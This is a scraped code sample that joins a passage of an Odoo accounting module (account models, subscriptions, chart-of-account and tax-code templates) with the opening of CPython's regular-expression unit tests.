model.journal_id.type in ('purchase', 'purchase_refund') and line.partner_id.property_supplier_payment_term: payment_term_id = line.partner_id.property_supplier_payment_term.id elif line.partner_id.property_payment_term: payment_term_id = line.partner_id.property_payment_term.id if payment_term_id: pterm_list = pt_obj.compute(cr, uid, payment_term_id, value=1, date_ref=date_maturity) if pterm_list: pterm_list = [l[0] for l in pterm_list] pterm_list.sort() date_maturity = pterm_list[-1] val.update({ 'name': line.name, 'quantity': line.quantity, 'debit': line.debit, 'credit': line.credit, 'account_id': line.account_id.id, 'move_id': move_id, 'partner_id': line.partner_id.id, 'date': context.get('date', fields.date.context_today(self,cr,uid,context=context)), 'date_maturity': date_maturity }) account_move_line_obj.create(cr, uid, val, context=ctx) return move_ids def onchange_journal_id(self, cr, uid, ids, journal_id, context=None): company_id = False if journal_id: journal = self.pool.get('account.journal').browse(cr, uid, journal_id, context=context) if journal.company_id.id: company_id = journal.company_id.id return {'value': {'company_id': company_id}} class account_model_line(osv.osv): _name = "account.model.line" _description = "Account Model Entries" _columns = { 'name': fields.char('Name', required=True), 'sequence': fields.integer('Sequence', required=True, help="The sequence field is used to order the resources from lower sequences to higher ones."), 'quantity': fields.float('Quantity', digits_compute=dp.get_precision('Account'), help="The optional quantity on entries."), 'debit': fields.float('Debit', digits_compute=dp.get_precision('Account')), 'credit': fields.float('Credit', digits_compute=dp.get_precision('Account')), 'account_id': fields.many2one('account.account', 'Account', required=True, ondelete="cascade"), 'analytic_account_id': fields.many2one('account.analytic.account', 'Analytic Account', ondelete="cascade"), 'model_id': fields.many2one('account.model', 'Model', required=True, ondelete="cascade", select=True), 'amount_currency': fields.float('Amount Currency', help="The amount expressed in an optional other currency."), 'currency_id': fields.many2one('res.currency', 'Currency'), 'partner_id': fields.many2one('res.partner', 'Partner'), 'date_maturity': fields.selection([('today','Date of the day'), ('partner','Partner Payment Term')], 'Maturity Date', help="The maturity date of the generated entries for this model. You can choose between the creation date or the creation date of the entries plus the partner payment terms."), } _order = 'sequence' _sql_constraints = [ ('credit_debit1', 'CHECK (credit*debit=0)', 'Wrong credit or debit value in model, they must be positive!'), ('credit_debit2', 'CHECK (credit+debit>=0)', 'Wrong credit or debit value in model, they must be positive!'), ] # --------------------------------------------------------- # Account Subscription # --------------------------------------------------------- class account_subscription(osv.osv): _name = "account.subscription" _description = "Account Subscription" _columns = { 'name': fields.char('Name', required=True), 'ref': fields.char('Reference'), 'model_id': fields.many2one('account.model', 'Model', required=True), 'date_start': fields.date('Start Date', required=True), 'period_total': fields.integer('Number of Periods', required=True), 'period_nbr': fields.integer('Period', required=True), 'period_type': fields.selection([('day','days'),('month','month'),('year','year')], 'Period Type', required=True), 'state': fields.selection([('draft','Draft'),('running','Running'),('done','Done')], 'Status', required=True, readonly=True, copy=False), 'lines_id': fields.one2many('account.subscription.line', 'subscription_id', 'Subscription Lines', copy=True) } _defaults = { 'date_start': fields.date.context_today, 'period_type': 'month', 'period_total': 12, 'period_nbr': 1, 'state': 'draft', } def state_draft(self, cr, uid, ids, context=None): self.write(cr, uid, ids, {'state':'draft'}) return False def check(self, cr, uid, ids, context=None): todone = [] for sub in self.browse(cr, uid, ids, context=context): ok = True for line in sub.lines_id: if not line.move_id.id: ok = False break if ok: todone.append(sub.id) if todone: self.write(cr, uid, todone, {'state':'done'}) return False def remove_line(self, cr, uid, ids, context=None): toremove = [] for sub in self.browse(cr, uid, ids, context=context): for line in sub.lines_id: if not line.move_id.id: toremove.append(line.id) if toremove: self.pool.get('account.subscription.line').unlink(cr, uid, toremove) self.write(cr, uid, ids, {'state':'draft'}) return False def compute(self, cr, uid, ids, context=None): for sub in self.browse(cr, uid, ids, context=context): ds = sub.date_start for i in range(sub.period_total): self.pool.get('account.subscription.line').create(cr, uid, { 'date': ds, 'subscription_id': sub.id, }) if sub.period_type=='day': ds = (datetime.strptime(ds, '%Y-%m-%d') + relativedelta(days=sub.period_nbr)).strftime('%Y-%m-%d') if sub.period_type=='month': ds = (datetime.strptime(ds, '%Y-%m-%d') + relativedelta(months=sub.period_nbr)).strftime('%Y-%m-%d') if sub.period_type=='year': ds = (datetime.strptime(ds, '%Y-%m-%d') + relativedelta(years=sub.period_nbr)).strftime('%Y-%m-%d') self.write(cr, uid, ids, {'state':'running'}) return True class account_subscription_line(osv.osv): _name = "account.subscription.line" _description = "Account Subscription Line" _columns = { 'subscription_id': fields.many2one('account.subscription', 'Subscription', required=True, select=True), 'date': fields.date('Date', required=True), 'move_id': fields.many2one('account.move', 'Entry'), } def move_create(self, cr, uid, ids, context=None): tocheck = {} all_moves = [] obj_model = self.pool.get('account.model') for line in self.browse(cr, uid, ids, context=context): data = { 'date': line.date, } move_ids = obj_model.generate(cr, uid, [line.subscription_id.model_id.id], data, context) tocheck[line.subscription_id.id] = True self.write(cr, uid, [line.id], {'move_id':move_ids[0]}) all_moves.extend(move_ids) if tocheck: self.pool.get('account.subscription').check(cr, uid, tocheck.keys(), context) return all_moves _rec_name = 'date' # --------------------------------------------------------------- # Account Templates: Account, Tax, Tax Code and chart. + Wizard # --------------------------------------------------------------- class account_tax_template(osv.osv): _name = 'account.tax.template' class account_account_template(osv.osv): _order = "code" _name = "account.account.template" _description ='Templates for Accounts' _columns = { 'name': fields.char('Name', required=True, select=True), 'currency_id': fields.many2one('res.currency', 'Secondary Currency', help="Forces all moves for this account to have this secondary currency."), 'code': fields.char('Code', size=64, required=True, select=1), 'type': fields.selection([ ('receivable','Receivable'), ('payable','Payable'), ('view','View'), ('consolidation','Consolidation'), ('liquidity','Liquidity'), ('other','Regular'), ('closed','Closed'), ], 'Internal Type', required=True,help="This type is used to differentiate types with "\ "special effects in Odoo: view can not have entries, consolidation are accounts that "\ "can have children accounts for multi-company consolidations, payable/receivable are for "\ "partners accounts (for debit/credit computations), closed for depreciated accounts."), 'user_type': fields.many2one('account.account.type', 'Account Type', required=True, help="These types are defined according to your country. The type contains more information "\ "about the account and its specificities."), 'financial_report_ids': fields.many2many('account.financial.report', 'account_template_financial_report', 'account_template_id', 'report_line_id', 'Financial Reports'), 'reconcile': fields.boolean('Allow Reconciliation', help="Check this option if you want the user to reconcile entries in this account."), 'shortcut': fields.char('Shortcut', size=12), 'note': fields.text('Note'), 'parent_id': fields.many2one('account.account.template', 'Parent Account Template', ondelete='cascade', domain=[('type','=','view')]), 'child_parent_ids':fields.one2many('account.account.template', 'parent_id', 'Children'), 'tax_ids': fields.many2many('account.tax.template', 'account_account_template_tax_rel', 'account_id', 'tax_id', 'Default Taxes'), 'nocreate': fields.boolean('Optional create', help="If checked, the new chart of accounts will not contain this by default."), 'chart_template_id': fields.many2one('account.chart.template', 'Chart Template', help="This optional field allow you to link an account template to a specific chart template that may differ from the one its root parent belongs to. This allow you to define chart templates that extend another and complete it with few new accounts (You don't need to define the whole structure that is common to both several times)."), } _defaults = { 'reconcile': False, 'type': 'view', 'nocreate': False, } _check_recursion = check_cycle _constraints = [ (_check_recursion, 'Error!\nYou cannot create recursive account templates.', ['parent_id']), ] def name_get(self, cr, uid, ids, context=None): if not ids: return [] reads = self.read(cr, uid, ids, ['name','code'], context=context) res = [] for record in reads: name = record['name'] if record['code']: name = record['code']+' '+name res.append((record['id'],name )) return res def generate_account(self, cr, uid, chart_template_id, tax_template_ref, acc_template_ref, code_digits, company_id, context=None): """ This method for generating accounts from templates. :param chart_template_id: id of the chart template chosen in the wizard :param tax_template_ref: Taxes templates reference for write taxes_id in account_account. :paramacc_template_ref: dictionary with the mappping between the account templates and the real accounts. :param code_digits: number of digits got from wizard.multi.charts.accounts, this is use for account code. :param company_id: company_id selected from wizard.multi.charts.accounts. :returns: return acc_template_ref for reference purpose. :rtype: dict """ if context is None: context = {} obj_acc = self.pool.get('account.account') company_name = self.pool.get('res.company').browse(cr, uid, company_id, context=context).name template = self.pool.get('account.chart.template').browse(cr, uid, chart_template_id, context=context) #deactivate the parent_store functionnality on account_account for rapidity purpose ctx = context.copy() ctx.update({'defer_parent_store_computation': True}) level_ref = {} children_acc_criteria = [('chart_template_id','=', chart_template_id)] if template.account_root_id.id: children_acc_criteria = ['|'] + children_acc_criteria + ['&',('parent_id','child_of', [template.account_root_id.id]),('chart_template_id','=', False)] children_acc_template = self.search(cr, uid, [('nocreate','!=',True)] + children_acc_criteria, order='id') for account_template in self.browse(cr, uid, children_acc_template, context=context): # skip the root of COA if it's not the main one if (template.account_root_id.id == account_template.id) and template.parent_id: continue tax_ids = [] for tax in account_template.tax_ids: tax_ids.append(tax_template_ref[tax.id]) code_main = account_template.code and len(account_template.code) or 0 code_acc = account_template.code or '' if code_main > 0 and code_main <= code_digits and account_template.type != 'view': code_acc = str(code_acc) + (str('0'*(code_digits-code_main))) parent_id = account_template.parent_id and ((account_template.parent_id.id in acc_template_ref) and acc_template_ref[account_template.parent_id.id]) or False #the level as to be given as well at the creation time, because of the defer_parent_store_computation in #context. Indeed because of this, the parent_left and parent_right are not computed and thus the child_of #operator does not return the expected values, with result of having the level field not computed at all. if parent_id: level = parent_id in level_ref and level_ref[parent_id] + 1 or obj_acc._get_level(cr, uid, [parent_id], 'level', None, context=context)[parent_id] + 1 else: level = 0 vals={ 'name': (template.account_root_id.id == account_template.id) and company_name or account_template.name, 'currency_id': account_template.currency_id and account_template.currency_id.id or False, 'code': code_acc, 'type': account_template.type, 'user_type': account_template.user_type and account_template.user_type.id or False, 'reconcile': account_template.reconcile, 'shortcut': account_template.shortcut, 'note': account_template.note, 'financial_report_ids': account_template.financial_report_ids and [(6,0,[x.id for x in account_template.financial_report_ids])] or False, 'parent_id': parent_id, 'tax_ids': [(6,0,tax_ids)], 'company_id': company_id, 'level': level, } new_account = obj_acc.create(cr, uid, vals, context=ctx) acc_template_ref[account_template.id] = new_account level_ref[new_account] = level #reactivate the parent_store functionnality on account_account obj_acc._parent_store_compute(cr) return acc_template_ref class account_add_tmpl_wizard(osv.osv_memory): """Add one more account from the template. With the 'nocreate' option, some accounts may not be created. Use this to add them later.""" _name = 'account.addtmpl.wizard' def _get_def_cparent(self, cr, uid, context=None): acc_obj = self.pool.get('account.account') tmpl_obj = self.pool.get('account.account.template') tids = tmpl_obj.read(cr, uid, [context['tmpl_ids']], ['parent_id']) if not tids or not tids[0]['parent_id']: return False ptids = tmpl_obj.read(cr, uid, [tids[0]['parent_id'][0]], ['code']) res = None if not ptids or not ptids[0]['code']: raise osv.except_osv(_('Error!'), _('There is no parent code for the template account.')) res = acc_obj.search(cr, uid, [('code','=',ptids[0]['code'])]) return res and res[0] or False _columns = { 'cparent_id':fields.many2one('account.account', 'Parent target', help="Creates an account with the selected template under this existing parent.", required=True), } _defaults = { 'cparent_id': _get_def_cparent, } def action_create(self,cr,uid,ids,context=None): if context is None: context = {} acc_obj = self.pool.get('account.account') tmpl_obj = self.pool.get('account.account.template') data = self.read(cr, uid, ids)[0] company_id = acc_obj.read(cr, uid, [data['cparent_id'][0]], ['company_id'])[0]['company_id'][0] account_template = tmpl_obj.browse(cr, uid, context['tmpl_ids']) vals = { 'name': account_template.name, 'currency_id': account_template.currency_id and account_template.currency_id.id or False, 'code': account_template.code, 'type': account_template.type, 'user_type': account_template.user_type and account_template.user_type.id or False, 'reconcile': account_template.reconcile, 'shortcut': account_template.shortcut, 'note': account_template.note, 'parent_id': data['cparent_id'][0], 'company_id': company_id, } acc_obj.create(cr, uid, vals) return {'type':'state', 'state': 'end' } def action_cancel(self, cr, uid, ids, context=None): return { 'type': 'state', 'state': 'end' } class account_tax_code_template(osv.osv): _name = 'account.tax.code.template' _description = 'Tax Code Template' _order = 'sequence, code' _rec_name = 'code' _columns = { 'name': fields.char('Tax Case Name', required=True), 'code': fields.char('Case Code', size=64), 'info': fields.text('Description'), 'parent_id': fields.many2one('account.tax.code.template', 'Parent Code', select=True), 'child_ids': fields.one2many('account.tax.code.template', 'parent_id', 'Child Codes'), 'sign': fields.float('Sign For Parent', required=True), 'notprintable':fields.boolean("Not Printable in Invoice", help="Check this box if you don't want any tax related to this tax Code to appear on invoices."), 'sequence': fields.integer( 'Sequence', help=( "Determine the display order in the report 'Accounting " "\ Reporting \ Generic Reporting \ Taxes \ Taxes Report'"), ), } _defaults = { 'sign': 1.0, 'notprintable': False, } def generate_tax_code(self, cr, uid, tax_code_root_id, company_id, context=None): ''' This function generates the tax codes from the templates of tax code that are children of the given one passed in argument. Then it returns a dictionary with the mappping between the templates and the real objects. :param tax_code_root_id: id of the root of all the tax code templates to process :param company_id: id of the company the wizard is running for :returns: dictionary with the mappping between the templates and the real objects. :rtype: dict ''' obj_tax_code_template = self.pool.get('account.tax.code.template') obj_tax_code = self.pool.get('account.tax.code') tax_code_template_ref = {} company = self.pool.get('res.company').browse(cr, uid, company_id, context=context) #find all the children of the tax_code_root_id children_tax_code_template = tax_code_root_id and obj_tax_code_template.search(cr, uid, [('parent_id','child_of',[tax_code_root_id])], order='id') or [] for tax_code_template in obj_tax_code_template.browse(cr, uid, children_tax_code_template, context=context): vals = { 'name': (tax_code_root_id == tax_code_template.id) and company.name or tax_code_template.name, 'code': tax_code_template.code, 'info': tax_code_template.info, 'parent_id': tax_code_template.parent_id and ((tax_code_template.parent_id.id in tax_code_template_ref) and tax_code_template_ref[tax_code_template.parent_id.id]) or False, 'company_id': company_id, 'sign': tax_code_template.sign, 'sequence': tax_code_template.sequence, } #check if this tax code already exists rec_list = obj_tax_code.search(cr, uid, [('name', '=', vals['name']),('code', '=', vals['code']),('company_id', '=', vals['company_id'])], context=context) if not rec_list: #if not yet, create it new_tax_code = obj_tax_code.create(cr, uid, vals) #recording the new tax code to do the mapping tax_code_template_ref[tax_code_template.id] = new_tax_code return tax_code_template_ref def name_get(self, cr, uid, ids, context=None): if not ids: return [] if isinstance(ids, (int, long)): ids = [ids] reads = self.read(cr, uid, ids, ['name','code'], context=context, load='_classic_write') return [(x['id'], (x['code'] and x['code'] + ' - ' or '') + x['name']) \ for x in reads] _check_recursion = check_cycle _constraints = [ (_check_rec
codeparrot/github-code-clean
from test.support import verbose, run_unittest, gc_collect, bigmemtest, _2G, \ cpython_only, captured_stdout import io import re from re import Scanner import sre_compile import sre_constants import sys import string import traceback import unittest from weakref import proxy # Misc tests from Tim Peters' re.doc # WARNING: Don't change details in these tests if you don't know # what you're doing. Some of these tests were carefully modeled to # cover most of the code. class S(str): def __getitem__(self, index): return S(super().__getitem__(index)) class B(bytes): def __getitem__(self, index): return B(super().__getitem__(index)) class ReTests(unittest.TestCase): def assertTypedEqual(self, actual, expect, msg=None): self.assertEqual(actual, expect, msg) def recurse(actual, expect): if isinstance(expect, (tuple, list)): for x, y in zip(actual, expect): recurse(x, y) else: self.assertIs(type(actual), type(expect), msg) recurse(actual, expect) def test_keep_buffer(self): # See bug 14212 b = bytearray(b'x') it = re.finditer(b'a', b) with self.assertRaises(BufferError): b.extend(b'x'*400) list(it) del it gc_collect() b.extend(b'x'*400) def test_weakref(self): s = 'QabbbcR' x = re.compile('ab+c') y = proxy(x) self.assertEqual(x.findall('QabbbcR'), y.findall('QabbbcR')) def test_search_star_plus(self): self.assertEqual(re.search('x*', 'axx').span(0), (0, 0)) self.assertEqual(re.search('x*', 'axx').span(), (0, 0)) self.assertEqual(re.search('x+', 'axx').span(0), (1, 3)) self.assertEqual(re.search('x+', 'axx').span(), (1, 3)) self.assertEqual(re.search('x', 'aaa'), None) self.assertEqual(re.match('a*', 'xxx').span(0), (0, 0)) self.assertEqual(re.match('a*', 'xxx').span(), (0, 0)) self.assertEqual(re.match('x*', 'xxxa').span(0), (0, 3)) self.assertEqual(re.match('x*', 'xxxa').span(), (0, 3)) self.assertEqual(re.match('a+', 'xxx'), None) def bump_num(self, matchobj): int_value = int(matchobj.group(0)) return str(int_value + 1) def test_basic_re_sub(self): self.assertTypedEqual(re.sub('y', 'a', 'xyz'), 'xaz') self.assertTypedEqual(re.sub('y', S('a'), S('xyz')), 'xaz') self.assertTypedEqual(re.sub(b'y', b'a', b'xyz'), b'xaz') self.assertTypedEqual(re.sub(b'y', B(b'a'), B(b'xyz')), b'xaz') self.assertTypedEqual(re.sub(b'y', bytearray(b'a'), bytearray(b'xyz')), b'xaz') self.assertTypedEqual(re.sub(b'y', memoryview(b'a'), memoryview(b'xyz')), b'xaz') for y in ("\xe0", "\u0430", "\U0001d49c"): self.assertEqual(re.sub(y, 'a', 'x%sz' % y), 'xaz') self.assertEqual(re.sub("(?i)b+", "x", "bbbb BBBB"), 'x x') self.assertEqual(re.sub(r'\d+', self.bump_num, '08.2 -2 23x99y'), '9.3 -3 24x100y') self.assertEqual(re.sub(r'\d+', self.bump_num, '08.2 -2 23x99y', 3), '9.3 -3 23x99y') self.assertEqual(re.sub('.', lambda m: r"\n", 'x'), '\\n') self.assertEqual(re.sub('.', r"\n", 'x'), '\n') s = r"\1\1" self.assertEqual(re.sub('(.)', s, 'x'), 'xx') self.assertEqual(re.sub('(.)', re.escape(s), 'x'), s) self.assertEqual(re.sub('(.)', lambda m: s, 'x'), s) self.assertEqual(re.sub('(?P<a>x)', '\g<a>\g<a>', 'xx'), 'xxxx') self.assertEqual(re.sub('(?P<a>x)', '\g<a>\g<1>', 'xx'), 'xxxx') self.assertEqual(re.sub('(?P<unk>x)', '\g<unk>\g<unk>', 'xx'), 'xxxx') self.assertEqual(re.sub('(?P<unk>x)', '\g<1>\g<1>', 'xx'), 'xxxx') self.assertEqual(re.sub('a',r'\t\n\v\r\f\a\b\B\Z\a\A\w\W\s\S\d\D','a'), '\t\n\v\r\f\a\b\\B\\Z\a\\A\\w\\W\\s\\S\\d\\D') self.assertEqual(re.sub('a', '\t\n\v\r\f\a', 'a'), '\t\n\v\r\f\a') self.assertEqual(re.sub('a', '\t\n\v\r\f\a', 'a'), (chr(9)+chr(10)+chr(11)+chr(13)+chr(12)+chr(7))) self.assertEqual(re.sub('^\s*', 'X', 'test'), 'Xtest') def test_bug_449964(self): # fails for group followed by other escape self.assertEqual(re.sub(r'(?P<unk>x)', '\g<1>\g<1>\\b', 'xx'), 'xx\bxx\b') def test_bug_449000(self): # Test for sub() on escaped characters self.assertEqual(re.sub(r'\r\n', r'\n', 'abc\r\ndef\r\n'), 'abc\ndef\n') self.assertEqual(re.sub('\r\n', r'\n', 'abc\r\ndef\r\n'), 'abc\ndef\n') self.assertEqual(re.sub(r'\r\n', '\n', 'abc\r\ndef\r\n'), 'abc\ndef\n') self.assertEqual(re.sub('\r\n', '\n', 'abc\r\ndef\r\n'), 'abc\ndef\n') def test_bug_1661(self): # Verify that flags do not get silently ignored with compiled patterns pattern = re.compile('.') self.assertRaises(ValueError, re.match, pattern, 'A', re.I) self.assertRaises(ValueError, re.search, pattern, 'A', re.I) self.assertRaises(ValueError, re.findall, pattern, 'A', re.I) self.assertRaises(ValueError, re.compile, pattern, re.I) def test_bug_3629(self): # A regex that triggered a bug in the sre-code validator re.compile("(?P<quote>)(?(quote))") def test_sub_template_numeric_escape(self): # bug 776311 and friends self.assertEqual(re.sub('x', r'\0', 'x'), '\0') self.assertEqual(re.sub('x', r'\000', 'x'), '\000') self.assertEqual(re.sub('x', r'\001', 'x'), '\001') self.assertEqual(re.sub('x', r'\008', 'x'), '\0' + '8') self.assertEqual(re.sub('x', r'\009', 'x'), '\0' + '9') self.assertEqual(re.sub('x', r'\111', 'x'), '\111') self.assertEqual(re.sub('x', r'\117', 'x'), '\117') self.assertEqual(re.sub('x', r'\1111', 'x'), '\1111') self.assertEqual(re.sub('x', r'\1111', 'x'), '\111' + '1') self.assertEqual(re.sub('x', r'\00', 'x'), '\x00') self.assertEqual(re.sub('x', r'\07', 'x'), '\x07') self.assertEqual(re.sub('x', r'\08', 'x'), '\0' + '8') self.assertEqual(re.sub('x', r'\09', 'x'), '\0' + '9') self.assertEqual(re.sub('x', r'\0a', 'x'), '\0' + 'a') self.assertEqual(re.sub('x', r'\400', 'x'), '\0') self.assertEqual(re.sub('x', r'\777', 'x'), '\377') self.assertRaises(re.error, re.sub, 'x', r'\1', 'x') self.assertRaises(re.error, re.sub, 'x', r'\8', 'x') self.assertRaises(re.error, re.sub, 'x', r'\9', 'x') self.assertRaises(re.error, re.sub, 'x', r'\11', 'x') self.assertRaises(re.error, re.sub, 'x', r'\18', 'x') self.assertRaises(re.error, re.sub, 'x', r'\1a', 'x') self.assertRaises(re.error, re.sub, 'x', r'\90', 'x') self.assertRaises(re.error, re.sub, 'x', r'\99', 'x') self.assertRaises(re.error, re.sub, 'x', r'\118', 'x') # r'\11' + '8' self.assertRaises(re.error, re.sub, 'x', r'\11a', 'x') self.assertRaises(re.error, re.sub, 'x', r'\181', 'x') # r'\18' + '1' self.assertRaises(re.error, re.sub, 'x', r'\800', 'x') # r'\80' + '0' # in python2.3 (etc), these loop endlessly in sre_parser.py self.assertEqual(re.sub('(((((((((((x)))))))))))', r'\11', 'x'), 'x') self.assertEqual(re.sub('((((((((((y))))))))))(.)', r'\118', 'xyz'), 'xz8') self.assertEqual(re.sub('((((((((((y))))))))))(.)', r'\11a', 'xyz'), 'xza') def test_qualified_re_sub(self): self.assertEqual(re.sub('a', 'b', 'aaaaa'), 'bbbbb') self.assertEqual(re.sub('a', 'b', 'aaaaa', 1), 'baaaa') def test_bug_114660(self): self.assertEqual(re.sub(r'(\S)\s+(\S)', r'\1 \2', 'hello there'), 'hello there') def test_bug_462270(self): # Test for empty sub() behaviour, see SF bug #462270 self.assertEqual(re.sub('x*', '-', 'abxd'), '-a-b-d-') self.assertEqual(re.sub('x+', '-', 'abxd'), 'ab-d') def test_symbolic_groups(self): re.compile('(?P<a>x)(?P=a)(?(a)y)') re.compile('(?P<a1>x)(?P=a1)(?(a1)y)') self.assertRaises(re.error, re.compile, '(?P<a>)(?P<a>)') self.assertRaises(re.error, re.compile, '(?Px)') self.assertRaises(re.error, re.compile, '(?P=)') self.assertRaises(re.error, re.compile, '(?P=1)') self.assertRaises(re.error, re.compile, '(?P=a)') self.assertRaises(re.error, re.compile, '(?P=a1)') self.assertRaises(re.error, re.compile, '(?P=a.)') self.assertRaises(re.error, re.compile, '(?P<)') self.assertRaises(re.error, re.compile, '(?P<>)') self.assertRaises(re.error, re.compile, '(?P<1>)') self.assertRaises(re.error, re.compile, '(?P<a.>)') self.assertRaises(re.error, re.compile, '(?())') self.assertRaises(re.error, re.compile, '(?(a))') self.assertRaises(re.error, re.compile, '(?(1a))') self.assertRaises(re.error, re.compile, '(?(a.))') # New valid/invalid identifiers in Python 3 re.compile('(?P<µ>x)(?P=µ)(?(µ)y)') re.compile('(?P<𝔘𝔫𝔦𝔠𝔬𝔡𝔢>x)(?P=𝔘𝔫𝔦𝔠𝔬𝔡𝔢)(?(𝔘𝔫𝔦𝔠𝔬𝔡𝔢)y)') self.assertRaises(re.error, re.compile, '(?P<©>x)') def test_symbolic_refs(self): self.assertRaises(re.error, re.sub, '(?P<a>x)', '\g<a', 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)', '\g<', 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)', '\g', 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)', '\g<a a>', 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)', '\g<>', 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)', '\g<1a1>', 'xx') self.assertRaises(IndexError, re.sub, '(?P<a>x)', '\g<ab>', 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)|(?P<b>y)', '\g<b>', 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)|(?P<b>y)', '\\2', 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)', '\g<-1>', 'xx') # New valid/invalid identifiers in Python 3 self.assertEqual(re.sub('(?P<µ>x)', r'\g<µ>', 'xx'), 'xx') self.assertEqual(re.sub('(?P<𝔘𝔫𝔦𝔠𝔬𝔡𝔢>x)', r'\g<𝔘𝔫𝔦𝔠𝔬𝔡𝔢>', 'xx'), 'xx') self.assertRaises(re.error, re.sub, '(?P<a>x)', r'\g<©>', 'xx') def test_re_subn(self): self.assertEqual(re.subn("(?i)b+", "x", "bbbb BBBB"), ('x x', 2)) self.assertEqual(re.subn("b+", "x", "bbbb BBBB"), ('x BBBB', 1)) self.assertEqual(re.subn("b+", "x", "xyz"), ('xyz', 0)) self.assertEqual(re.subn("b*", "x", "xyz"), ('xxxyxzx', 4)) self.assertEqual(re.subn("b*", "x", "xyz", 2), ('xxxyz', 2)) def test_re_split(self): for string in ":a:b::c", S(":a:b::c"): self.assertTypedEqual(re.split(":", string), ['', 'a', 'b', '', 'c']) self.assertTypedEqual(re.split(":*", string), ['', 'a', 'b', 'c']) self.assertTypedEqual(re.split("(:*)", string), ['', ':', 'a', ':', 'b', '::', 'c']) for string in (b":a:b::c", B(b":a:b::c"), bytearray(b":a:b::c"), memoryview(b":a:b::c")): self.assertTypedEqual(re.split(b":", string), [b'', b'a', b'b', b'', b'c']) self.assertTypedEqual(re.split(b":*", string), [b'', b'a', b'b', b'c']) self.assertTypedEqual(re.split(b"(:*)", string), [b'', b':', b'a', b':', b'b', b'::', b'c']) for a, b, c in ("\xe0\xdf\xe7", "\u0430\u0431\u0432", "\U0001d49c\U0001d49e\U0001d4b5"): string = ":%s:%s::%s" % (a, b, c) self.assertEqual(re.split(":", string), ['', a, b, '', c]) self.assertEqual(re.split(":*", string), ['', a, b, c]) self.assertEqual(re.split("(:*)", string), ['', ':', a, ':', b, '::', c]) self.assertEqual(re.split("(?::*)", ":a:b::c"), ['', 'a', 'b', 'c']) self.assertEqual(re.split("(:)*", ":a:b::c"), ['', ':', 'a', ':', 'b', ':', 'c']) self.assertEqual(re.split("([b:]+)", ":a:b::c"), ['', ':', 'a', ':b::', 'c']) self.assertEqual(re.split("(b)|(:+)", ":a:b::c"), ['', None, ':', 'a', None, ':', '', 'b', None, '', None, '::', 'c']) self.assertEqual(re.split("(?:b)|(?::+)", ":a:b::c"), ['', 'a', '', '', 'c']) def test_qualified_re_split(self): self.assertEqual(re.split(":", ":a:b::c", 2), ['', 'a', 'b::c']) self.assertEqual(re.split(':', 'a:b:c:d', 2), ['a', 'b', 'c:d']) self.assertEqual(re.split("(:)", ":a:b::c", 2), ['', ':', 'a', ':', 'b::c']) self.assertEqual(re.split("(:*)", ":a:b::c", 2), ['', ':', 'a', ':', 'b::c']) def test_re_findall(self): self.assertEqual(re.findall(":+", "abc"), []) for string in "a:b::c:::d", S("a:b::c:::d"): self.assertTypedEqual(re.findall(":+", string), [":", "::", ":::"]) self.assertTypedEqual(re.findall("(:+)", string), [":", "::", ":::"]) self.assertTypedEqual(re.findall("(:)(:*)", string), [(":", ""), (":", ":"), (":", "::")]) for string in (b"a:b::c:::d", B(b"a:b::c:::d"), bytearray(b"a:b::c:::d"), memoryview(b"a:b::c:::d")): self.assertTypedEqual(re.findall(b":+", string), [b":", b"::", b":::"]) self.assertTypedEqual(re.findall(b"(:+)", string), [b":", b"::", b":::"]) self.assertTypedEqual(re.findall(b"(:)(:*)", string), [(b":", b""), (b":", b":"), (b":", b"::")]) for x in ("\xe0", "\u0430", "\U0001d49c"): xx = x * 2 xxx = x * 3 string = "a%sb%sc%sd" % (x, xx, xxx) self.assertEqual(re.findall("%s+" % x, string), [x, xx, xxx]) self.assertEqual(re.findall("(%s+)" % x, string), [x, xx, xxx]) self.assertEqual(re.findall("(%s)(%s*)" % (x, x), string), [(x, ""), (x, x), (x, xx)]) def test_bug_117612(self): self.assertEqual(re.findall(r"(a|(b))", "aba"), [("a", ""),("b", "b"),("a", "")]) def test_re_match(self): for string in 'a', S('a'): self.assertEqual(re.match('a', string).groups(), ()) self.assertEqual(re.match('(a)', string).groups(), ('a',)) self.assertEqual(re.match('(a)', string).group(0), 'a') self.assertEqual(re.match('(a)', string).group(1), 'a') self.assertEqual(re.match('(a)', string).group(1, 1), ('a', 'a')) for string in b'a', B(b'a'), bytearray(b'a'), memoryview(b'a'): self.assertEqual(re.match(b'a', string).groups(), ()) self.assertEqual(re.match(b'(a)', string).groups(), (b'a',)) self.assertEqual(re.match(b'(a)', string).group(0), b'a') self.assertEqual(re.match(b'(a)', string).group(1), b'a') self.assertEqual(re.match(b'(a)', string).group(1, 1), (b'a', b'a')) for a in ("\xe0", "\u0430", "\U0001d49c"): self.assertEqual(re.match(a, a).groups(), ()) self.assertEqual(re.match('(%s)' % a, a).groups(), (a,)) self.assertEqual(re.match('(%s)' % a, a).group(0), a) self.assertEqual(re.match('(%s)' % a, a).group(1), a) self.assertEqual(re.match('(%s)' % a, a).group(1, 1), (a, a)) pat = re.compile('((a)|(b))(c)?') self.assertEqual(pat.match('a').groups(), ('a', 'a', None, None)) self.assertEqual(pat.match('b').groups(), ('b', None, 'b', None)) self.assertEqual(pat.match('ac').groups(), ('a', 'a', None, 'c')) self.assertEqual(pat.match('bc').groups(), ('b', None, 'b', 'c')) self.assertEqual(pat.match('bc').groups(""), ('b', "", 'b', 'c')) # A single group m = re.match('(a)', 'a') self.assertEqual(m.group(0), 'a') self.assertEqual(m.group(0), 'a') self.assertEqual(m.group(1), 'a') self.assertEqual(m.group(1, 1), ('a', 'a')) pat = re.compile('(?:(?P<a1>a)|(?P<b2>b))(?P<c3>c)?') self.assertEqual(pat.match('a').group(1, 2, 3), ('a', None, None)) self.assertEqual(pat.match('b').group('a1', 'b2', 'c3'), (None, 'b', None)) self.assertEqual(pat.match('ac').group(1, 'b2', 3), ('a', None, 'c')) def test_re_fullmatch(self): # Issue 16203: Proposal: add re.fullmatch() method. self.assertEqual(re.fullmatch(r"a", "a").span(), (0, 1)) for string in "ab", S("ab"): self.assertEqual(re.fullmatch(r"a|ab", string).span(), (0, 2)) for string in b"ab", B(b"ab"), bytearray(b"ab"), memoryview(b"ab"): self.assertEqual(re.fullmatch(br"a|ab", string).span(), (0, 2)) 